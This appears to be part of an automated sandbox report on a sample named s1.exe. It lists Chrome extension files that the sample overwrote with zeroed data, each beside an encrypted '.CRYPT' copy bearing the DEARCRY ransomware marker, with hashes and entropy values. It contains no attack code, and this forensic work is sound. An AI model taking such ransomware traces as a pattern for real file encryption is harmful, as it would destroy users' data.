                                                              SHA-256:66731162D81975218AF8838B799F7A40DC1374723E562D89B6D4EB02CBD4D7CF
                                                              SHA-512:834C7EDB6719C167158E7BD1338E29D32739A685B67ADCECA40BBD3BFCAC8373F9AD2A4A8D73727DA44A27E8E197CFF0F4FA698227F3E3561D2A609F7B517F05
                                                              Malicious:false
                                                              Preview: DEARCRY!.....x.y.c@P..sA.ObL^.0Kc...v..T./:.7f%avd..:....{._gF-...C.si...r.~.....`?...6k.(--.n.g]...05^.._W...B.!p.........X-^.....@<...&i...E.9P.,.U7}.%....W_...Ci.8.S.....L...6..R....+.R3..._..>V'E..G...xX...n..........M.)........\7..i.-...;...7..S..'.................:r....B..0GQ.........d.<.q.Vq..T.{#.,QNr..A.H.....*.......y.*..+..a.:.{..e.q...S..Q..{~:.jK.x....3..IS...4.7..Y._.:...q.&p..A..E.._.7zO............F..g....c<qm.^V..XHDEARCRY!....c...y.`.'.Ou.t....22.c.....lC...O.....,3./.....bI.....Dz0T.m-.......6.x}..<p.M......{...\B..)=.2.2.g:.{.%.+u..X..]...6{E.........-.q.@...mT.y..VO..]e.+..R....P...q...l....Z.."...k.~1.c.{l..i..T......."..........T.#..... ....l.a.....gy..u..9................M..(..$1.q.4=.*.......>I..[...P...hA&...AV.%P....DL...9hs}..~....V..v.....~...D.Ka.Qg)J..Dj....gZ..... ..WF.....~..aI(....0..@.w.:........Y....c.........T.\I..Q.V...;..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.html
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):184
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9883EA293AD6809BE4E19549FC80FF0D
                                                              SHA1:DD5EEC69F98B508859BA2CC77E7D5F5AA98EDCF7
                                                              SHA-256:70AA1FEEB29E45E5232DF1750F3E0F57E25379DC498CB0B8EF48DD1DFFB9A510
                                                              SHA-512:7264673CBF811EA97D1DB47906A9FF16125EC3F0E691A45012B41ECDA03F61A46E248C6C7BB23243CADA389C99F6D049955C02D055BED266ACB91340517F519E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.html.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.607016345397082
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:042377B2078714DC111D36E12A97AD25
                                                              SHA1:96784C9BCA31A307A72A3174EA74C5C99CA02CAE
                                                              SHA-256:0EB1C5BBDC4FB6781169BDF0750A54057F7273FBF1AA2E1BB063479DC0DA5D2B
                                                              SHA-512:E0D1B2BD4A805D6CB3005C080EF50247AF18EC296ED2A4C069668489E826D752476DB85F64F9E5834DABEBA538D6D6DDA8CD1CB8BD708D4017107B5E6A7076D3
                                                              Malicious:false
                                                              Preview: DEARCRY!....>.U.....!.`....-.C?..8...4/...........h.HDPu~=s...5.....*...4i,.h.Z....N.a)9.C...DY$..Dbs..T..o...+......./.)...wO.|>?.:y]=.A..f..X..T....kn........P...!.}..^hqZ..C....En....,}7W/.$..|.#.5....j..Jw."!..RE.Y...q.k.9.....I.....A.~z....f..+.5/}.d......\.........P.5.#IH...3..`..}!S.A.1.6.#hEP....X...f.'.~.....m.f..a..F.e(....Z....Q.....y>.\c...cDEARCRY!.....t@..#....d.y-.?.F..-WE...'c.4..F..w(....x..g.U.7..]yD&.m.n.j.m....(.=..!A4....2.l.........7..;&.3..D.h..[....J..Q..B4z1T"s.._F......u#...b...;..C..b.c.D~VvC...r[v...1..1.....cR........+Fd.Jt|y..F...T...:..+.....5@3j...uHa..`.......$e .......\.........hN..G....c=.....K-....*9.fyf.....A8/..O..r...Z.A....#.9...E...Q..g..hP......x.D...b6~
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):190
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F0BE99F92D8B8AD3D79C9AA580FC2F08
                                                              SHA1:A9AB5160208575C2C19277491406D5C95690A5F0
                                                              SHA-256:E290CB91A6AAF54BB397C8F72D0BF5E8A70935CA00ABDE862E3D13FDF75FDBB0
                                                              SHA-512:C9C2002D0F14F1D92924F80105C4B092BCB8DE5BCB838179F2129B125FBCDF83F78EE80F44B0E26BAB451C6FA5D6A29547A4933A92858E310DFBBDCEE32F8CAE
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.10_0\main.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.649613068130661
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9945CD035D38B58C3D3CC74F1858F3B6
                                                              SHA1:6BDF8110B1C6631B784F47E6A88BAC9B34DE8FD8
                                                              SHA-256:1D876789879197041EF51574A2128179EB924EC01A42E43AA67CCB34312054F9
                                                              SHA-512:7B069EA313CC3E52E5F5CBF74F9CBED30BCED4B53930F830C16436E2EEBDA50DDB22C3DDB977167A761F47CD5045CF4EDF890EC20124289F5D9658BCEAF0EFC5
                                                              Malicious:false
                                                              Preview: DEARCRY!....Z>#..q....v..hrE.....s./^@.`..4[...'..`.z.-/.O.r...#.........g.K.j.N...g...).>J.o.,NGE..!.7l..o.Knyb.C.....E.q...e...a".o?....U#..C]x...L.JP."...."..]|.bWg'....y......A.e..#.Af.Ec..NNj].m.AL.=@W>....E.o.j......*.....:....g.{L.k.....y_...vKt......_.......y`..bP.a....w..v...........5E9>5....@.FA.B$}..zP..........<...jF!..iP.n;t.......a.=.h.K-.-....DEARCRY!....S6.OLy8..T.w....0.....]..e..7......LD".O..y9..'..L..,......W...W.T.f......b.d.....m.5....M....2.....B.:..(.....wOE..J-yc...M+..!r.;.0.3V...8.K...`6.....p.vBc..y.}.,..m._......?.5.b...'KJ.pT...OPo.5....?l.._5..}...a...m2...I..\?...2..tjxi...._.......'|.C"....)....H.rY..D......F.7.LG.@.b..Z(....]_p.N.B.{n..HEQUfw0...PN.`b...R.Hz.........$..a.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3213
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:92648B858D3873DD4720F03DF7DA21A3
                                                              SHA1:B2170A0183B0512F63D1E068A4D3B3E357ED00AD
                                                              SHA-256:D4721FCEED9010FF01BF4DEC876E00850748997274FAFB5226CF460F4D4F746D
                                                              SHA-512:215C6FFC3D5FC995C5589BF617A9CB5610FFB9C5F9F5E68E8B0947C989E92B60AAF420E2E1520FF5BFE49822AC1CA374A4EB8A374DBD8B29554D109452410D11
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3496
                                                              Entropy (8bit):7.941900884752145
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:F28AD7A07AA5E86C5DFA9375344B3D84
                                                              SHA1:8B60E2C4A013FAF8448F8DEBEA40C5BF9917E1C6
                                                              SHA-256:D437782919CD5F61C01A8A9BD7DE4356A01CFA69A17A0BEF73F3782D21A568A3
                                                              SHA-512:575460693598A0007EA0B6063F7415BF4FC139D30BA234EB31A70151021B5E9D5684CD2A61C8C1DE7A674CFDC18FDDC422C80586AF2E5006D7424A360E24A92A
                                                              Malicious:false
                                                              Preview: DEARCRY!...../....wW...h.m].^..qH..j...qE>Sa...P....&.,..y@I..,2..*...h..a...\mH...yhMV....l..>..7..@........G....04.....W|..m)>.d.M.2.:..{...%@.....<.Kt.~.V.|N{...9.....i)...2e...U.`h<..w(.[.`.r...SQJC.u.M..x0...v...P.).f..C+....R.+.Xu..r......%E..x...e............N."..9......C...o..OKYP......Vf....;)B>0TS.A.Z.wN:B.{544a.<.`G..X...*:.z..P....;......-...Sh..n?...A...%.fL..)...`..)NA..a}v.&..J.....N.....l.)..7...g3r.6.......r..S.l/.........~,..bE"..[..1....8......|......L..R.2pj.H..f.C.<~.?ce......#.<S.,.n.."&j$b.JGz..n..@{.........L!~Gn.........D.D..$.5y._r...9..O....._".H.%....N....q.z)...c..... =..5k"#......-[C....R..|........a.NK...7.s^...x.Q.l.[.PV.D.5m....|......tI.a.M..%.."........R.5.s..0...i.m..P....`.Z.-..K7z.).Via...t...8.L.W.#c8....k.A y.....]..m.pE.MP.yg..D.|.W.../..E.0.8../|D.....Q8NL.3.(.y...e..[Ls.\?T.a..T...>@..G5......B..(......j{..o \E]rX....l.`&.u..8.NM.i...M.......4...e...eE.N..nc.....c\..`..........\.{..[...V......%u.
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_16.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):286
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:399E0D30AA1CFFDD9743A59EAA9A1762
                                                              SHA1:66540CE15F25C6BA258E78D8BFFC55089CDB501A
                                                              SHA-256:D57BF6DA37CB76767A5E00B46CC706C4D2ECC0AE2C5554A23370447A06F8B82D
                                                              SHA-512:112B56613BCE6B151BB79692D31107A158CF8C1016DBE64F3DAFEA942AFABE973286F77E42ADAB9F38C430F9EA0FD2748C1BB8472CF3CEC434630DC3FEB3AB73
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\icon_16.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):848
                                                              Entropy (8bit):7.6817063377885795
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:81C9AB2387CCC3CC86FE95134C1927F6
                                                              SHA1:49C207582F1A3FC18E11CA8CF5F8620923FC7F8F
                                                              SHA-256:6C19F64699AFE12ED8B7C8972BE7F1BE943C10E20F8B306CD9624E7FAB0908EE
                                                              SHA-512:01AE66839C956210169DA948149B60A5D452EB342CFAA1519E1EA2454CF78EAAF97F652B4ACC0342EC5A991732F84014460F8D16D8FF226B528BD08685D1B88F
                                                              Malicious:false
                                                              Preview: DEARCRY!..........s...P....n.i.O:..)#[.....P..l....fM0x...E."....O.y.X......w...+k.\#..U.8..km.Nqq.....h.>.6..g.Xzd.....k....5f..YBH^0.....[.y.i'.M.n.B.E...=..h.b..P....B..v..=..}...54Z......YdZ.<$.`R .E....#r..g... .......^.x.E+.|...u.z...".%..........................< .6....o%|...............9...2@X..K.. .?.........[2v.B..]........ :....RB..J..7.e-..[.x..I..4[...N4."2~ie..F...i.9.[Q..Q..A..PM.y..'DEARCRY!...."......H.z....eq0..c.x..6...w.J.=......2....^l{W~....io..r+..~.Q.,p.....;..VV...%...(V...{|RmU@.V.Q:G. ....}\..O.7...R/...........m...m. ....0nK..B.> y...X.]..h.n.\.....6.S...C..5T)..'.m..y......`.F.zeo..Zu..x...:./j(y..k..D.U.......R<)..p.T.<D,.3..............6..../...4.(..4.o.^.......(j..[lUX....e.z........w.'NB..0 .n....L.*....x0...&Q..%.........-.1M.).*.;..>t....u.c..;0...i.&FUk..@BHs.U-....
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.html
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):184
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9883EA293AD6809BE4E19549FC80FF0D
                                                              SHA1:DD5EEC69F98B508859BA2CC77E7D5F5AA98EDCF7
                                                              SHA-256:70AA1FEEB29E45E5232DF1750F3E0F57E25379DC498CB0B8EF48DD1DFFB9A510
                                                              SHA-512:7264673CBF811EA97D1DB47906A9FF16125EC3F0E691A45012B41ECDA03F61A46E248C6C7BB23243CADA389C99F6D049955C02D055BED266ACB91340517F519E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.html.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.641437869913513
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:01F2121D65BC19607AECB253F6FA1FCF
                                                              SHA1:87F8D01C29C194AE18898A5A0E647C6AF28D1C5F
                                                              SHA-256:E06D5481527D2F76A8FB9E7DB7F6DDDA5C25213360775830DC3B82D8D620B3C5
                                                              SHA-512:1A5CE2B9ABE0E4D102E64F9CB0A5E8EC0C9A0ED20114B65B5561F28CBFA0CC126E73CB822BFCC75544756EA887AC4BF7B47DB13CF697C9817C768E4D4564EE10
                                                              Malicious:false
                                                              Preview: DEARCRY!....r6.6.l...i.n.5.=.`-..5JJ@Vj.L.C....t....6.p..h!:..`*@.....j.r.P...:.SVC.......g..Mg..d(K`.9..[.........?.....G.|...Dz/...]...f._../.;.....lu..9..bLj.w..M.......P...j....H.'.-.4...O.yF...q+.......Q...].....y..+"6[d..'..5..4.Ixd..t5......>..55~....\........S.$....O...86.]..y.I'|.?G.z........{&.!<..=......[.F...F.XQ7p.........B...\]pQ.......G.&.DEARCRY!....S].^...%.i...]........:.....'....hKs}.n....yK.5.....{.......|..?..I....].5<j%.{...o.....eB/3,.gT;....`..dk&.tP..c.=..8...N....u.....L.f........2....8...!1...(n...$.......1.gY...W.nL...V..f.!..5.;.....B.B.\..N...D7..].8..Q..g..e.._.-F.......m2:.....\.........a...v..(.X.0.>..3z.....$....}.?r....*`..y.$.U...L....3]U@...r...X.|.j..9..=...."...W......
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.js
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):182
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DC1764278C8B5EA4B59A99ADEF1A9BF6
                                                              SHA1:B71AAA481B7D08456EECD4526ABDFACFABA1F8B0
                                                              SHA-256:DF32AFEFF7C675BB9B5D9526BA2AA73B14AA34CD7896FAE285E58601B0AF32DF
                                                              SHA-512:1D65967ED6221742B7A34CCA7FF8F55184402689C6A40243BC393568F8BE2D0BAD4A7E6BCA8F2886B9D6323DA0A8F2B3FF281223DA813E8066E4BE6F6CFD8B33
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake\0.10_0\main.js.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):752
                                                              Entropy (8bit):7.653007438214571
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:291B14880096539C22C25CC1939DF71C
                                                              SHA1:4DBBE1FEA58A35F76AF7C9F99AEEC39A4E4B6727
                                                              SHA-256:0957CD68F307AABEEC4E14156CA98935C12F8398FAE9C3ED3BEFB96D106D970C
                                                              SHA-512:A1DA78E002A50D76B3F09DCAD72498376D48E209FF253F09D7131808E4F2814BE28846BBE4BEEAB264D73AE3089E8F8C59F2A91E2ECD40025B3887545C29B405
                                                              Malicious:false
                                                              Preview: DEARCRY!.....y......e..Fz...@.tWW.m.7...v;..{p..@..mp.....@F.1....wNF..m...&..~.:*.....w..Kc ..$Y?..x..+.h....U<....R..L.Q..vJ... ....m...."v..E.]A.).1.q....g..C).|..a.....(.u..^..].....N.h..Z..?3wF..O.q...ZD..G..r}...Z(......L..v.y...reh$....).^..U.$..'.......[.......$N.g.B|=..[q...6....@.v5l..ZR...,$...%...j.!....../.......(..h=.....8TiJ.q../........Z.@..3.DEARCRY!....%...*...L ..:..SQ.NF.6..FJ...a.c..Z......HC..iYr.$o..X........../..+.. n..$....)j..c..L ."..:....(Pcz...k.Fw ..........1.l.T.s.3B..iD....S.Uo.]..;....,.x.d...%.....`.IX......c0d.-sc.9D.4.z..J.W.....~&.K....+{.s'...dW...\4;..S....1...j.."!....'........[........7.../..........S!M.P..P...L...."..sO.Y. ..3 ....h...L.U.Tx...d".<4#z._PE..;.f.wa....*b.....G...
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.2_0\128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):13410
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A4AFA375F886AA5CF67A74D4AAB253C8
                                                              SHA1:A09308176670EC2C64042D4A391C52ED3193B7A7
                                                              SHA-256:F88F69E89FC9EA5A6F53778617012D84493C7EFC67C7DC4D1E6F1B16CFDBBEE7
                                                              SHA-512:DC9DC82C8BDD142EA7CBA210FB9D350A603CBE250A4D9BC92B7F6906852944351BA6F91DF87C58D6B3CB604E52DEFFD0890120598A562E3A1DEFA4A121D53B1E
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\14.2_0\128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):14000
                                                              Entropy (8bit):7.985412135140322
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:2E611CAD6670653FE93CBAADDEC3F140
                                                              SHA1:DD1B570CFFAD2EC1C307167D437444E9EAA089AF
                                                              SHA-256:232AEBCE870D1B182840A38381D0933814AF61C9B78E8990CA0E92EB234F012D
                                                              SHA-512:080178C84090C5E33C65685F74E30C1023EAAD73756DEB6F9B29A162DA41BF2D79A7C75856C0EE81D209D46750207E85BD062583B997E0A02C13360CD6E67CD1
                                                              Malicious:false
                                                              Preview: DEARCRY!.....d........HnnT....|...'....o...m7...........Qy.....V.....Ev.(k..V.....R..w.0&....C...m.....2=.....(.V.S..F-...y.....YT...$......zB.a.g....!.N..nrp..:.&.qTc7.......C.....-]%....O@.V..G.S*.4a._...%_...U.L+.K.d..K....&.x.......2].O.O......*>-....1........n3..|Fx4....)7.7.q..\.x....yz.)..B...6Ju.O..A.5.%...w......A.........qH....[...yq<.....,.D.b6.0e. T..>7.N<...%...E.0.x..h.C..7.S.Yme.Ag/..%m.+\...Q.e....Q.".....j7...:.@C.6..Z.T!F..{........ZZ:.....?.6f....2.c..Va.bo0.BC5."...v..3.;....R..3.q.V.......7\.6.C.{9...H?L.....N...0.....68...v..#.}m....*......C.>=....i.....6.x....VV'.$.....^L....&-...J..#...a.]m.....~.kc.o..YxN.n.*..rL@...z.C...\......V0H..... l..J.....a+...3..>......d%.{!#/...6.$.$m%6..3....z.i.....\|.....+..>..]5...[Y.......E:@.>....4.Z...Y.E....B%8...{....+U..\.....Jw..Ym&.h;..W.Sp...n.......3=9U.....u5.I.3$..".LO.....%....w...n...X...k....$...... .....^f..|.....K.a{........W...!B...........9u8[.#492..
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):6810
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:FCD5CCAE1F28C1F650F7A075B291C407
                                                              SHA1:5736E1DBB19BA11A7A353B3BFE29DFF8C4172C14
                                                              SHA-256:CF3CB09132D1DC4CDFA1159B8FE2B6587F5FF2C99E32500251C1F6B14468CBED
                                                              SHA-512:8C74003214C750F95DF1EF07B8D4FFB325D4149B004CD36BAE9494FA4753159B9E122391B9F8CF3F35FFF410AC03C82DDEF257EEAAC4ECFE63FB81CF9733740C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.8_0\128.png.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):7376
                                                              Entropy (8bit):7.977469341639182
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:347474D18950FDF6D9E0F2DD1C580940
                                                              SHA1:D9D4A68F53052883A51434A2F70BD630C82238B6
                                                              SHA-256:E7FC13E00B7F7C4CC650A3351BD0D206EB9529249AC1FB5824E5093AEBFE9994
